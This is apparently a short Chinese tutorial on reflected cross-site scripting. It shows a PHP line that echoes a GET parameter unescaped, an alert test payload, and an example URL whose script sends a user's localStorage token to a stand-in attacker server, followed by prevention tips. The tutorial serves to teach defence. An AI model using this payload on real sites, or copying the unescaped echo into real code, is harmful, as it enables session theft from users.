简介
跨站脚本攻击(Cross Site Scripting)缩写CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故取名Xss,Xss攻击是网络安全攻击中非常常见的一种攻击方式。它是对网页注入可执行脚本的一种攻击方式。
1、反射型XSS
假设我们的网站中有这样一行代码:
...
<span>输入:<?php echo $_GET['input'];?></span>
...
这是一个简单的页面,$_GET获取了变量名为input的值,通过echo函数输出了值。
这个时候我们访问:domain.com/index.php?input=helloworld
页面会出现“输入:helloworld”,一切看起来都很正常。
但是我们输入一些javascript呢?
例如在浏览器里访问:
domain.com/index.php?input=<script>alert('xss')</script>
image.png
没错它弹窗了。
但这并没有实际意义,但是通过这个原理知道了,输入javascript代码是可以被执行的。当我们输入一些其他复杂代码,比如
document.cookie
就会盗取用户cookie信息,或读取其他重要信息。
攻击例子
还是刚刚这个网页,我们假设某个用户的这个网页中的localstorage
中保存着用户token。再假设这时候访问:domain.com/index.php?input=<script>location.href='http://hackserver.com/?xss='+localStorage.getItem('token')</script>
。
这正是将 授权登陆的token发送给了攻击者的服务器,攻击者拿到token就等于拿到了登陆态,攻击者正是通过发送此类似链接,诱导用户点击进行攻击。因此不要点击陌生链接。
如何预防
1、不要相信用户输入,过滤所有的HTTP Request参数。
2、用户输入长度限制。
3、http-only,禁止js读取某些cookie。
4、避免拼接html。
5、避免内联事件。如<button onclick="load('{{ data }}')">点</button>
6、主动检测和发现
网友评论